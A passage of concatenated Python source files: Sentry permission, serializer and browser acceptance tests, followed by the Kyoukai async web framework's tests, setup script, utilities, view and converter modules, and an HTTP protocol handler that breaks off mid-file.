from sentry.testutils import TestCase


class OrganizationSerializerTest(TestCase):
    def test_simple(self):
        user = self.create_user()
        organization = self.create_organization(owner=user)

        result = serialize(organization, user)
        assert result['id'] == six.text_type(organization.id)






from __future__ import absolute_import

from mock import Mock

from sentry.api.bases.team import TeamPermission
from sentry.models import ApiKey
from sentry.testutils import TestCase


class TeamPermissionBase(TestCase):
    def setUp(self):
        self.org = self.create_organization(flags=0)
        self.team = self.create_team(organization=self.org)
        super(TeamPermissionBase, self).setUp()

    def has_object_perm(self, method, obj, auth=None, user=None, is_superuser=None):
        perm = TeamPermission()
        request = Mock()
        request.auth = auth
        request.user = user
        request.method = method
        request.is_superuser = lambda: is_superuser if is_superuser is not None else user.is_superuser
        return (
            perm.has_permission(request, None) and
            perm.has_object_permission(request, None, obj)
        )


class TeamPermissionTest(TeamPermissionBase):
    def test_get_regular_user(self):
        user = self.create_user()
        assert not self.has_object_perm('GET', self.team, user=user)

    def test_get_superuser(self):
        user = self.create_user(is_superuser=True)
        assert self.has_object_perm('GET', self.team, user=user)

    def test_get_without_team_membership(self):
        user = self.create_user()
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[],
        )
        assert not self.has_object_perm('GET', self.team, user=user)

    def test_get_with_team_membership(self):
        user = self.create_user()
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[self.team],
        )
        assert self.has_object_perm('GET', self.team, user=user)

    def test_get_api_key_with_org_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'team:read'),
        )
        assert self.has_object_perm('GET', self.team, auth=key)

    def test_get_api_key_without_org_access(self):
        key = ApiKey.objects.create(
            organization=self.create_organization(),
            scopes=getattr(ApiKey.scopes, 'team:read'),
        )
        assert not self.has_object_perm('GET', self.team, auth=key)

    def test_api_key_without_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=0,
        )
        assert not self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_with_wrong_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'project:read'),
        )
        assert not self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_with_wrong_access_for_method(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'team:read'),
        )
        assert not self.has_object_perm('PUT', self.project, auth=key)






from __future__ import absolute_import

from mock import Mock

from sentry.api.bases.project import ProjectPermission
from sentry.models import ApiKey
from sentry.testutils import TestCase


class ProjectPermissionBase(TestCase):
    def setUp(self):
        self.org = self.create_organization()
        self.team = self.create_team(organization=self.org)
        self.project = self.create_project(organization=self.org)
        super(ProjectPermissionBase, self).setUp()

    def has_object_perm(self, method, obj, auth=None, user=None, is_superuser=None):
        perm = ProjectPermission()
        request = Mock()
        request.auth = auth
        request.user = user
        request.method = method
        request.is_superuser = lambda: is_superuser if is_superuser is not None else user.is_superuser
        return (
            perm.has_permission(request, None) and
            perm.has_object_permission(request, None, obj)
        )


class ProjectPermissionTest(ProjectPermissionBase):
    def test_regular_user(self):
        user = self.create_user(is_superuser=False)
        assert not self.has_object_perm('GET', self.project, user=user)

    def test_superuser(self):
        user = self.create_user(is_superuser=True)
        assert self.has_object_perm('GET', self.project, user=user)

    def test_member_for_project_read(self):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[self.team],
        )
        assert self.has_object_perm('GET', self.project, user=user)

    def test_member_for_project_write(self):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[self.team],
        )
        assert not self.has_object_perm('POST', self.project, user=user)

    def test_member_for_project_delete(self):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[self.team],
        )
        assert not self.has_object_perm('DELETE', self.project, user=user)

    def test_member_with_team_access(self):
        user = self.create_user(is_superuser=False)
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
            teams=[self.team]
        )
        assert self.has_object_perm('GET', self.project, user=user)

    def test_api_key_with_org_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'project:read'),
        )
        assert self.has_object_perm('GET', self.project, auth=key)

    def test_api_key_without_org_access(self):
        key = ApiKey.objects.create(
            organization=self.create_organization(),
            scopes=getattr(ApiKey.scopes, 'project:read'),
        )
        assert not self.has_object_perm('GET', self.project, auth=key)

    def test_api_key_without_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=0,
        )
        assert not self.has_object_perm('GET', self.project, auth=key)

    def test_api_key_with_wrong_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'team:read'),
        )
        assert not self.has_object_perm('GET', self.project, auth=key)

    def test_api_key_with_wrong_access_for_method(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'project:read'),
        )
        assert not self.has_object_perm('PUT', self.project, auth=key)






from __future__ import absolute_import

from mock import Mock

from sentry.api.bases.organization import OrganizationPermission
from sentry.models import ApiKey
from sentry.testutils import TestCase


class OrganizationPermissionBase(TestCase):
    def setUp(self):
        self.org = self.create_organization()
        super(OrganizationPermissionBase, self).setUp()

    def has_object_perm(self, method, obj, auth=None, user=None, is_superuser=None):
        perm = OrganizationPermission()
        request = Mock()
        request.auth = auth
        request.user = user
        request.method = method
        request.is_superuser = lambda: is_superuser if is_superuser is not None else user.is_superuser
        return (
            perm.has_permission(request, None) and
            perm.has_object_permission(request, None, obj)
        )


class OrganizationPermissionTest(OrganizationPermissionBase):
    def test_regular_user(self):
        user = self.create_user()
        assert not self.has_object_perm('GET', self.org, user=user)

    def test_superuser(self):
        user = self.create_user(is_superuser=True)
        assert self.has_object_perm('GET', self.org, user=user)

    def test_org_member(self):
        user = self.create_user()
        self.create_member(
            user=user,
            organization=self.org,
            role='member',
        )
        assert self.has_object_perm('GET', self.org, user=user)
        assert not self.has_object_perm('POST', self.org, user=user)

    def test_api_key_with_org_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'org:read'),
        )
        assert self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_without_org_access(self):
        key = ApiKey.objects.create(
            organization=self.create_organization(),
            scopes=getattr(ApiKey.scopes, 'org:read')
        )
        assert not self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_without_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=0,
        )
        assert not self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_with_wrong_access(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'team:read'),
        )
        assert not self.has_object_perm('GET', self.org, auth=key)

    def test_api_key_with_wrong_access_for_method(self):
        key = ApiKey.objects.create(
            organization=self.org,
            scopes=getattr(ApiKey.scopes, 'org:read'),
        )
        assert not self.has_object_perm('PUT', self.org, auth=key)






from __future__ import absolute_import

from datetime import datetime
from django.utils import timezone

from sentry.testutils import AcceptanceTestCase
from sentry.utils.samples import create_sample_event


class IssueDetailsTest(AcceptanceTestCase):
    def setUp(self):
        super(IssueDetailsTest, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.org = self.create_organization(
            owner=self.user,
            name='Rowdy Tiger'
        )
        self.team = self.create_team(
            organization=self.org,
            name='Mariachi Band'
        )
        self.project = self.create_project(
            organization=self.org,
            team=self.team,
            name='Bengal',
        )
        self.login_as(self.user)

    def create_sample_event(self, platform):
        event = create_sample_event(
            project=self.project,
            platform=platform,
            event_id='d964fdbd649a4cf8bfc35d18082b6b0e',
            timestamp=1452683305,
        )
        event.group.update(
            first_seen=datetime(2015, 8, 13, 3, 8, 25, tzinfo=timezone.utc),
            last_seen=datetime(2016, 1, 13, 3, 8, 25, tzinfo=timezone.utc),
        )
        return event

    def test_python_event(self):
        event = self.create_sample_event(
            platform='python',
        )

        self.browser.get('/{}/{}/issues/{}/'.format(
            self.org.slug, self.project.slug, event.group.id
        ))
        self.browser.wait_until('.entries')
        self.browser.snapshot('issue details python')

    def test_cocoa_event(self):
        event = self.create_sample_event(
            platform='cocoa',
        )

        self.browser.get('/{}/{}/issues/{}/'.format(
            self.org.slug, self.project.slug, event.group.id
        ))
        self.browser.wait_until('.entries')
        self.browser.snapshot('issue details cocoa')






from __future__ import absolute_import

from django.utils import timezone

from sentry.testutils import AcceptanceTestCase


class OrganizationStatsTest(AcceptanceTestCase):
    def setUp(self):
        super(OrganizationStatsTest, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.org = self.create_organization(
            name='Rowdy Tiger',
            owner=None,
        )
        self.team = self.create_team(
            organization=self.org,
            name='Mariachi Band'
        )
        self.project = self.create_project(
            organization=self.org,
            team=self.team,
            name='Bengal',
        )
        self.create_member(
            user=self.user,
            organization=self.org,
            role='owner',
            teams=[self.team],
        )
        self.login_as(self.user)
        self.path = '/organizations/{}/stats/'.format(self.org.slug)

    def test_simple(self):
        self.project.update(first_event=timezone.now())
        self.browser.get(self.path)
        # dashboard is a bit complex to load since it has many subcomponents
        # so we bank on the core container and the activity container being
        # enough of a check
        self.browser.wait_until('.organization-home')
        self.browser.wait_until_not('.loading-indicator')
        self.browser.snapshot('organization stats')






from __future__ import absolute_import

from django.utils import timezone

from sentry.testutils import AcceptanceTestCase


class DashboardTest(AcceptanceTestCase):
    def setUp(self):
        super(DashboardTest, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.org = self.create_organization(
            name='Rowdy Tiger',
            owner=None,
        )
        self.team = self.create_team(
            organization=self.org,
            name='Mariachi Band'
        )
        self.project = self.create_project(
            organization=self.org,
            team=self.team,
            name='Bengal',
        )
        self.create_member(
            user=self.user,
            organization=self.org,
            role='owner',
            teams=[self.team],
        )
        self.login_as(self.user)
        self.path = '/{}/'.format(self.org.slug)

    def test_simple(self):
        self.project.update(first_event=timezone.now())
        self.browser.get(self.path)
        # dashboard is a bit complex to load since it has many subcomponents
        # so we bank on the core container and the activity container being
        # enough of a check
        self.browser.wait_until('.organization-home')
        self.browser.wait_until_not('.loading-indicator')
        self.browser.snapshot('organization dashboard')






from __future__ import absolute_import

from django.utils import timezone

from sentry.testutils import AcceptanceTestCase


class ProjectIssuesTest(AcceptanceTestCase):
    def setUp(self):
        super(ProjectIssuesTest, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.org = self.create_organization(
            owner=self.user,
            name='Rowdy Tiger'
        )
        self.team = self.create_team(
            organization=self.org,
            name='Mariachi Band'
        )
        self.project = self.create_project(
            organization=self.org,
            team=self.team,
            name='Bengal',
        )
        self.login_as(self.user)
        self.path = '/{}/{}/'.format(self.org.slug, self.project.slug)

    # TODO(dcramer): abstract fixtures into a basic set that is present for
    # all acceptance tests
    def test_not_setup(self):
        # TODO(dcramer): we should add basic assertions around "i wanted this
        # URL but was sent somewhere else"
        self.browser.get(self.path)
        self.browser.wait_until('.awaiting-events')
        self.browser.snapshot('project issues not configured')

    def test_with_issues(self):
        self.project.update(first_event=timezone.now())
        self.create_group(
            project=self.project,
            message='Foo bar',
        )
        self.browser.get(self.path)
        self.browser.wait_until('.group-list')
        self.browser.wait_until('.sparkline')
        self.browser.snapshot('project issues with issues')

    def test_with_no_issues(self):
        self.project.update(first_event=timezone.now())
        self.browser.get(self.path)
        self.browser.wait_until('.empty-stream')
        self.browser.snapshot('project issues without issues')






from __future__ import absolute_import

from six.moves.urllib.parse import urlencode

from sentry.testutils import AcceptanceTestCase


class EmailTestCase(AcceptanceTestCase):
    def setUp(self):
        super(EmailTestCase, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.login_as(self.user)

    def build_url(self, path, format='html'):
        return u'{}?{}'.format(
            path,
            urlencode({
                'format': format,
                'seed': '123',
            }),
        )

    def test_assigned_html(self):
        self.browser.get(self.build_url('/debug/mail/assigned/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('assigned email html')

    def test_assigned_txt(self):
        self.browser.get(self.build_url('/debug/mail/assigned/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('assigned email txt')

    def test_assigned_self_html(self):
        self.browser.get(self.build_url('/debug/mail/assigned/self/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('assigned_self email html')

    def test_assigned_self_txt(self):
        self.browser.get(self.build_url('/debug/mail/assigned/self/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('assigned_self email txt')

    def test_note_html(self):
        self.browser.get(self.build_url('/debug/mail/note/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('note email html')

    def test_note_txt(self):
        self.browser.get(self.build_url('/debug/mail/note/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('note email txt')

    def test_regression_html(self):
        self.browser.get(self.build_url('/debug/mail/regression/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('regression email html')

    def test_regression_txt(self):
        self.browser.get(self.build_url('/debug/mail/regression/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('regression email txt')

    def test_regression_with_version_html(self):
        self.browser.get(self.build_url('/debug/mail/regression/release/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('regression_with_version email html')

    def test_regression_with_version_txt(self):
        self.browser.get(self.build_url('/debug/mail/regression/release/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('regression_with_version email txt')

    def test_resolved_html(self):
        self.browser.get(self.build_url('/debug/mail/resolved/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved email html')

    def test_resolved_txt(self):
        self.browser.get(self.build_url('/debug/mail/resolved/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved email txt')

    def test_resolved_in_release_html(self):
        self.browser.get(self.build_url('/debug/mail/resolved-in-release/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved_in_release email html')

    def test_resolved_in_release_txt(self):
        self.browser.get(self.build_url('/debug/mail/resolved-in-release/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved_in_release email txt')

    def test_resolved_in_release_upcoming_html(self):
        self.browser.get(self.build_url('/debug/mail/resolved-in-release/upcoming/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved_in_release_upcoming email html')

    def test_resolved_in_release_upcoming_txt(self):
        self.browser.get(self.build_url('/debug/mail/resolved-in-release/upcoming/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('resolved_in_release_upcoming email txt')

    def test_unassigned_html(self):
        self.browser.get(self.build_url('/debug/mail/unassigned/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('unassigned email html')

    def test_unassigned_txt(self):
        self.browser.get(self.build_url('/debug/mail/unassigned/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('unassigned email txt')

    def test_new_event_html(self):
        self.browser.get(self.build_url('/debug/mail/new-event/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('new event email html')

    def test_new_event_txt(self):
        self.browser.get(self.build_url('/debug/mail/new-event/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('new event email txt')

    def test_digest_html(self):
        self.browser.get(self.build_url('/debug/mail/digest/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('digest email html')

    def test_digest_txt(self):
        self.browser.get(self.build_url('/debug/mail/digest/', 'txt'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('digest email txt')

    def test_report_html(self):
        self.browser.get(self.build_url('/debug/mail/report/'))
        self.browser.wait_until('#preview')
        self.browser.snapshot('report email html')






from __future__ import absolute_import

from sentry.testutils import AcceptanceTestCase


class AuthTest(AcceptanceTestCase):
    def enter_auth(self, username, password):
        # disable captcha as it makes these tests flakey (and requires waiting
        # on external resources)
        with self.settings(RECAPTCHA_PUBLIC_KEY=None):
            self.browser.get('/auth/login/')
            self.browser.find_element_by_id('id_username').send_keys(username)
            self.browser.find_element_by_id('id_password').send_keys(password)
            self.browser.find_element_by_xpath("//button[contains(text(), 'Login')]").click()

    def test_renders(self):
        self.browser.get('/auth/login/')
        self.browser.snapshot(name='login')

    def test_no_credentials(self):
        self.enter_auth('', '')
        self.browser.snapshot(name='login fields required')

    def test_invalid_credentials(self):
        self.enter_auth('bad-username', 'bad-username')
        self.browser.snapshot(name='login fields invalid')

    def test_success(self):
        email = 'dummy@example.com'
        password = 'dummy'
        user = self.create_user(email=email)
        user.set_password(password)
        user.save()

        self.enter_auth(email, password)
        self.browser.snapshot(name='login success')






from __future__ import absolute_import

from django.utils import timezone

from sentry.testutils import AcceptanceTestCase


class ProjectListTest(AcceptanceTestCase):
    def setUp(self):
        super(ProjectListTest, self).setUp()
        self.user = self.create_user('foo@example.com')
        self.org = self.create_organization(
            name='Rowdy Tiger',
            owner=None,
        )
        self.team = self.create_team(
            organization=self.org,
            name='Mariachi Band'
        )
        self.project = self.create_project(
            organization=self.org,
            team=self.team,
            name='Bengal',
        )
        self.create_member(
            user=self.user,
            organization=self.org,
            role='owner',
            teams=[self.team],
        )
        self.login_as(self.user)
        self.path = '/organizations/{}/teams/'.format(self.org.slug)

    def test_simple(self):
        self.project.update(first_event=timezone.now())
        self.browser.get(self.path)
        # dashboard is a bit complex to load since it has many subcomponents
        # so we bank on the core container and the activity container being
        # enough of a check
        self.browser.wait_until('.organization-home')
        self.browser.wait_until_not('.loading-indicator')
        self.browser.snapshot('organization project list')






"""
py.test test suite for kyoukai
"""
import json

import pytest

from kyoukai.testing.testdata import kyk


@pytest.mark.asyncio
async def test_http_10():
    response = await kyk.feed_request("GET / HTTP/1.0\n")
    assert response.get_response_http_version() == "1.0"
    assert response.code == 200


@pytest.mark.asyncio
async def test_http_11():
    response = await kyk.feed_request("""GET / HTTP/1.1
host: localhost

""")
    assert response.get_response_http_version() == "1.1"
    assert response.code == 200


@pytest.mark.asyncio
async def test_index():
    # Tests the index route for kyk
    response = await kyk.feed_request("""GET / HTTP/1.1
host: localhost
""")
    assert response.code == 200
    assert response.body == "OK"


@pytest.mark.asyncio
async def test_bad_http_11():
    # Tests a bad HTTP 1.1 request
    response = await kyk.feed_request("GET / HTTP/1.1\n")
    assert response.code == 400
    assert response.body == "400"


@pytest.mark.asyncio
async def test_404():
    # Tests a 404 response.
    response = await kyk.feed_request("""GET /badroute HTTP/1.1
host: localhost
""")
    assert response.code == 404
    assert response.body == "404"


@pytest.mark.asyncio
async def test_headers():
    response = await kyk.feed_request("""GET /headers HTTP/1.1
Some: TestHeader
host: localhost
""")
    assert response.headers["Some"] == "TestHeader"


@pytest.mark.asyncio
async def test_url_params():
    response = await kyk.feed_request("""GET /params?x=y&z=2 HTTP/1.1
host: localhost
""")
    assert response.headers['x'] == 'y'
    # Expected behaviour
    assert response.headers['z'] == '2'


@pytest.mark.asyncio
async def test_json_body():
    response = await kyk.feed_request("""POST /json HTTP/1.1
Content-Type: application/json
host: localhost
Content-Length: 18

{"hello": "world"}
""")
    bdy = json.loads(response.body)
    assert bdy["world"] == "hello"


@pytest.mark.asyncio
async def test_response_recalculate_headers():
    response = await kyk.feed_request("""GET / HTTP/1.1
host: localhost
""")
    response._recalculate_headers()
    assert response.headers.get("Content-Length", type=int) == 4
    assert response.headers["Content-Type"] == "text/plain"


@pytest.mark.xfail
@pytest.mark.asyncio
async def test_bad_request():
    response = await kyk.feed_request("dhusadba")
    assert response.code == 200






import os
import sys

from setuptools import find_packages, setup

rootpath = os.path.abspath(os.path.dirname(__file__))


# Extract version
def extract_version(module = 'kyoukai'):
    version = None
    fname = os.path.join(rootpath, module, 'util.py')
    with open(fname) as f:
        for line in f:
            if line.startswith('VERSION'):
                _, version = line.split('=')
                version = version.strip()[1:-1]  # Remove quotation characters.
                break
    return version


deps = [
    "httptools>=0.0.9",
    "PyYAML==3.11",
    "typeguard>=1.2.1",
    "asphalt>=2.0.0",
    "werkzeug>=0.11.10",
    "Mako>=1.0.4"
]

if sys.platform != "win32":
    # Add python-magic to deps.
    deps.append("python-magic")

setup(
    name='Kyoukai',
    version=extract_version(),
    packages=find_packages(),
    url='https://mirai.veriny.tf',
    license='MIT',
    author='Isaac Dickinson',
    author_email='sun@veriny.tf',
    description='A fast, asynchronous web framework for Python 3.5+',
    classifiers=[
        "Development Status :: 4 - Beta",
        "License :: OSI Approved :: MIT License",
        "Programming Language :: Python :: 3 :: Only",
        "Programming Language :: Python :: 3.5",
        "Topic :: Internet",
        "Topic :: Software Development :: Libraries",
        "Topic :: Software Development :: Libraries :: Application Frameworks"
    ],
    install_requires=deps,
    test_requires=[
        "pytest",
        "pytest-asyncio"
    ]
)






"""
Misc utilities.
"""
import os
import pathlib

from kyoukai.exc import HTTPException

VERSION = "1.9.1"
VERSIONT = tuple(map(int, VERSION.split('.')))


def static_filename(filename: str) -> str:
    """
    Naive static filename implementation, to allow serving static files.
    """
    built = ""
    p = pathlib.PurePath(filename)
    for part in p.parts:
        if part != "..":
            built += part + os.path.sep

    return built[:-1]


def wrap_response(response, response_cls=None):
    """
    Wrap up a response, if applicable.

    This allows Flask-like `return ""`.

    :param response: The tuple or otherwise object that is being wrapped.
    :param response_cls: The Response class that is being used.
    """
    # Import inside here to prevent circular imports.
    if response_cls is None:
        from kyoukai.response import Response
    else:
        Response = response_cls

    if response is None:
        r = Response(204, "", {})
    elif isinstance(response, tuple):
        if len(response) == 1:
            # Only body.
            r = Response(200, response[0], {})
        elif len(response) == 2:
            # Body and code.
            r = Response(response[1], response[0], {})
        elif len(response) == 3:
            # Body, code, headers.
            r = Response(response[1], response[0], response[2])
        else:
            # what
            raise HTTPException
    elif isinstance(response, Response):
        r = response
    else:

        r = Response(200, response, {})
    return r






"""
Views are like grouped together routes - but not Blueprints. They allow creating classes for routes, and storing
data, etc inside the class.
"""
from kyoukai.route import Route


def route(regex, methods: list = None, route_cls: type=Route):
    """
    Create a "bound" route.

    This should then be updated by ViewMeta with the correct self param, and added to the blueprint with the
    Blueprint.bind_view() method.

    This route is meant to be placed in a class that inherits from :class:`View`.

    .. versionchanged:: 1.8

        This method now accepts an optional ``route_cls`` which designates which Route class to wrap the coroutines in.

    :param regex: The regex to use for routing.

    :param methods: The methods that are allowed for this route.

    :param route_cls: The Route class to wrap this Route in.

    :return: The :class:`Route` that wraps this coroutine.
    """
    if not methods:
        methods = ["GET"]

    def _route_inner(coro):
        new_route = route_cls(None, regex, methods, bound=True)
        new_route.create(coro)
        return new_route

    return _route_inner


class ViewMeta(type):
    """
    Defines a way to automatically update routes.

    Internal metaclass.
    """
    __registry = {}

    def __call__(cls, *args, **kwargs):
        """
        Establish a singleton class, and update Route objects as appropriate.
        """
        name = cls.__name__
        if name in ViewMeta.__registry:
            return ViewMeta.__registry[name]

        new_class = super().__call__(*args, **kwargs)

        # Give the new_class a `_binded` property.
        # Used for the Blueprint.
        new_class._binded = False

        # Loop over the cls' dict.
        for item in cls.__dict__.values():
            if isinstance(item, Route):
                # New Route item.
                if item._bound:
                    item.self = new_class

        ViewMeta.__registry[name] = new_class

        return new_class

    def get_routes(cls):
        """
        :return: A list of Route objects for the specified View.
        """
        return [i for i in cls.__dict__.values() if isinstance(i, Route)]


class View(metaclass=ViewMeta):
    """
    Stub class to allow inheriting from easily without having to do metaclass=ViewMeta.
    """






"""
Converters.

Defines how to convert arguments in a Route via the signature.
"""
import inspect
import traceback
import typing

from kyoukai.exc import HTTPException
from kyoukai.context import HTTPRequestContext

_converters = {
    str: lambda ctx, item: item,
    int: lambda ctx, item: int(item)
}


def add_converter(type_: type, cb: typing.Callable[[HTTPRequestContext, typing.Any], typing.Any]):
    """
    Adds a converter to the conversions list/
    :param type_: The type to use as the annotation param.
    :param cb: A callable.
            Takes two parameters: The HTTPRequestContext, and the item to convert.

            This callable should raise a TypeError or a ValueError on failing to convert, at which point a 400 error
            will be raised.
            Anything else will cause a normal 500 error.
    """
    if not callable(cb):
        raise TypeError("cb should be callable")

    _converters[type_] = cb


async def convert_args(ctx, coro, *args, bound=False):
    """
    Converts a the arguments of a function using it's signature.

    Will ignore `self` if bound is True.

    :param coro: The coroutine function to inspect for the signature.
    :param args: The arguments that are to be passed into the function.
            The first one should be the HTTPRequestContext; this is ignored.
    :param bound: If this route is bound to a View.
            Setting this will ignore the first parameter of the signature.
    """
    signature = inspect.signature(coro)
    params = signature.parameters

    if len(args) != len(params):
        raise IndexError("Arguments passed in were not the same length as {}'s function signature".format(coro))

    new_args = []

    for num, (name, value) in enumerate(params.items()):
        # If bound, just ignore the `self` param.
        if bound and num == 0:
            new_args.append(args[0])
            continue

        item = args[num]
        # Skip over the HTTPRequestContext.
        if isinstance(item, HTTPRequestContext):
            new_args.append(item)
            continue

        # Extract the annotation from the parameter.
        assert isinstance(value, inspect.Parameter)
        type_ = value.annotation
        if type_ not in _converters:
            # Just add the argument, without converting.
            new_args.append(item)
        else:
            _converter = _converters[type_]
            # Convert the arg.
            try:
                converted = _converter(ctx, item)
                if inspect.isawaitable(converted):
                    result = await converted
                else:
                    result = converted
                new_args.append(result)
            except (TypeError, ValueError) as e:
                # Raise a bad request error.
                ctx.app.logger.error("Failed to convert {} to {}\n{}".format(item, type_,
                                                                             ''.join(traceback.format_exc())))
                raise HTTPException(400) from e

    return new_args






"""
httptools based HTTP protocol.
"""
import asyncio
import logging
import traceback

import httptools

from kyoukai.request import Request
from kyoukai.response import Response
from kyoukai.exc import HTTPException, exc_from
from kyoukai.context import HTTPRequestContext

CRITICAL_ERROR_TEXT = """HTTP/1.0 500 INTERNAL SERVER ERROR
Server: Kyoukai
X-Powered-By: Kyoukai
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Critical Server Error</title>
<h1>Critical Server Error</h1>
<p>An unrecoverable error has occurred within Kyoukai.
If you are the developer, please report this at <a href="https://github.com/SunDwarf/Kyoukai">the Kyoukai issue
tracker.</a>
""".replace("\n", "\r\n")


class HTTPToolsHandler:  # pragma: no cover
    """
    A callback handler that works with the HTTPTools library.

    This class does some downright horrible things in order to be compatible with httptool's weird mix of callbacks
    and normal functions, involving asyncio events.
    """

    def __init__(self, protocol: 'KyoukaiProtocol'):
        self.protocol = protocol

        # This defines the current request.
        self.current_request = None

    def reset(self):
        """
        Resets the current request.
        Should be called after the message is complete.
        """
        self.current_request = None

    def on_message_begin(self):
        """
        Called when a message has begun.

        This creates the new Request.
        """
        self.current_request = self.protocol.app.request_cls()

    def on_header(self, name: bytes, value: bytes):
        """
        Called when a header is set.
        """
        # Decode the name and the values to get the header.
        self.current_request.headers[name.decode()] = value.decode()

    def on_body(self, body: bytes):
        """
        Called when the body is received.

        This sets self.current_request.body.
        """
        self.current_request.body += body.decode()

    def on_url(self, url: bytes):
        """
        Called when a URL is recieved.

        This is undocumented in the HTTPTools README.
        """
        self.current_request.full_path = url

    def on_message_complete(self):
        """
        Called when a message is complete.

        This calls the event set() to ensure the protocol continues on with parsing.
        """
        self.protocol.parser_ready.set()


class KyoukaiProtocol(asyncio.Protocol):  # pragma: no cover
    """
    The Kyoukai protocol.
    """

    def __init__(self, app, parent_context):
        self.app = app
        self._transport = None
        self.ip = None
        self.client_port = None

        self.logger = logging.getLogger("Kyoukai")

        self.loop = asyncio.get_event_loop()

        # Asphalt contexts
        self.parent_context = parent_context

        # Request lock.
        # This ensures that requests are processed serially, and responded to in the correct order, as the lock is
        # released after processing a request completely.
        self.lock = asyncio.Lock()

        # Parser event.
        # Set when the HTTPTools parser is ready to hand over the new request to Kyoukai.
        self.parser_ready = asyncio.Event()

        # The parser itself.
        # This is created per connection.
        self.parser_obb = HTTPToolsHandler(self)
        self.parser = httptools.HttpRequestParser(self.parser_obb)

        # Define a waiter, that 'waits' on the event to clear.
        # Once the wait is over, it then delegates the request.
        self.waiter = None

    async def _safe_handle_error(self, context: HTTPRequestContext, exception: Exception):
        """
        "Safely" handle a HTTP exception.

        This is **only** called when Kyoukai fails to process a HTTP error.
        ``delegate_request`` safely attempts to process errors properly. If an error within Kyoukai happens,
        it will pass back down to this layer, which is very very bad.

        This first calls ``app.handle_http_exception``.
        If that fails, it sends the critical error text.

        :param exception: The exception to send down the line.
        :return:
        """
        self.logger.warning("Exception happened during HTTP parsing.")
        self.logger.warning("This is not necessarily a bug.")
        # Convert the exception.
        new_e = exc_from(exception)
        try:
            await self.app.handle_http_error(new_e, self, context)
        except Exception:
            # Critical error.
            self.logger.critical("Unhandled exception inside Kyoukai, when processing a HTTP error!")
            self.logger.critical("This is a bug. Please report it!")
            self.logger.critical("".join(traceback.format_exc()))
            self.write(CRITICAL_ERROR_TEXT.encode())
            self.close()

    def reset(self):
        """
        Resets the HTTP parser.
        """
        self.parser_obb.reset()
        # Reset the current protocol.
        self.parser = httptools.HttpRequestParser(self.parser_obb)

    async def _wait(self):
        """
        Waits for the request to be ready.
        :return:
        """
        await self.parser_ready.wait()
        # Remove the current waiter.
        self.waiter = None
        # Unset the event. We're ready to begin processing.
        self.parser_ready.clear()

        # Take in the request, and call parse_all().
        request = self.parser_obb.current_request
        # Set a handful of properties manually.
        request.version = self.parser.get_http_version()
        request.method = self.parser.get_method().decode()
        request.should_keep_alive = self.parser.should_keep_alive()
        # Create the new HTTPRequestContext.
        ctx = HTTPRequestContext(request, self.app, self.parent_context)
        # Parse all fields in the Exception.
        try:
            request.parse_all()
        except HTTPException as e:
            # Handle the HTTP exception.
            await self._safe_handle_error(ctx, e)
            return
        except Exception as e:
            await self._safe_handle_error(ctx, e)
            return
        finally:
            self.reset()

        # Reset the parser.
        self.parser_obb.reset()

        # Create the delegate_request task.
        try:
            await self.app.delegate_request(self, ctx)
        except Exception as exc:
            await self._safe_handle_error(ctx, exc)
        finally:
            self.reset()

    def connection_made(self, transport: asyncio.Transport):
        """
        Called when a connection is made, and is used to store the connection data.
